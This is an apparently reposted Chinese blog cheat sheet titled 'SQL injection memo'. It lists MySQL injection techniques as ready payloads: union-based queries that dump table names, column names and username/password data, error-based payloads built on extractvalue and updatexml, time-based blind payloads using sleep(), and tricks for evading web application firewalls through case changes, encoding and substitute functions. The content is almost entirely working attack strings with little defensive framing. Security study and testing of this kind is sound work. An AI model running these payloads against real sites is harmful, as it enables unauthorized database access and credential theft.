码迷,mamicode.com
首页 > 数据库 > 详细

SQL注入备忘录

时间:2019-12-04 14:52:23      阅读:98      评论:0      收藏:0      [点我收藏+]

标签:username   chm   weight   语句   format   col   类型   sch   读取   

常见注入类型

联合注入

布尔注入

报错注入

盲注(时间、布尔)

堆叠注入

 

三个重要表

information_schema.schemata存放库名的表
information_schema.tables存放表名的表
information_schema.columns存放字段名的表

其他信息

version() 查看数据库版本

user()查看当前用户

@@version_compile_os 操作系统

@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径

 

先确实构造的SQL语句,常见的类型 数字型、数字括号、单引号、单引号括号、双引号、双引号括号

 

联合注入

有显示位置的时候可以使用

确定列的数量,常用order by,group by 后面带数字,当数字大于列名就会报错

确定显示位置,让前面sql查找为空,union select 1,2,3 ... 找到显示位置

union select group_concat(table_name) from information_schema.tables where table_schema=database() --+ 暴露表名

union select 1,2,group_concat(column_name) from information_schema.columns where table_name=users --+  暴露列名

union select 1,2,group_concat(username,password) from users--+ 暴露数据

 

报错注入

基于extractvalue函数

and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata))) --+ 暴露数据库名

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ 暴露表名

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=users))) --+ 暴露列名

and extractvalue(1,concat(0x7e,(select group_concat(username,password) from users))) --+  暴露数据

 

基于updatexml函数

and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) --+ 暴露表名

and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())),0) --+ 暴露列名

and updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),0) --+ 暴露数据

 

 

延时盲注

 or if(length(database())=8,sleep(3),1) --+  数据库长度

or if(ord(mid(database(),1,1))=115,sleep(4),1) --+  数据库名

or if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(3),1) --+ 表的数量

or if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6,sleep(3),1) --+ 表的长度

or if(ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<150,sleep(5),1) --+ 第一个表名

or if((select count(column_name) from information_schema.columns where table_name=users)<10,sleep(5),1) --+ users表中列的数量

or if((select length(column_name) from information_schema.columns where table_name=users limit 0,1)<5,sleep(3),1) --+  列的长度

or if(ord(mid((select column_name from information_schema.columns where table_name=users limit 0,1),1,1))<150,sleep(2),1) --+ 列名

or if(ord(mid((select username from users limit 0,1),1,1))=68,sleep(3),1) --+  users表username列名中数据的内容

 

绕过WAF

可以尝试大小写绕过 、双写绕过,或者十六进制编码、URL编码绕过

过滤and  可以用&&  

过滤or     可以用 ||   

过滤空格  可以用 %20 %09 %0a %0b %0c %0d   /**/  /*!*/

功能相同函数

    hex()、bin() ==> ascii()
    sleep() ==>benchmark()
    concat_ws()==>group_concat()
    mid()、substr() ==> substring()

 

 

 

 

 

 

 

SQL注入备忘录

标签:username   chm   weight   语句   format   col   类型   sch   读取   

原文地址:https://www.cnblogs.com/gaonuoqi/p/11982815.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!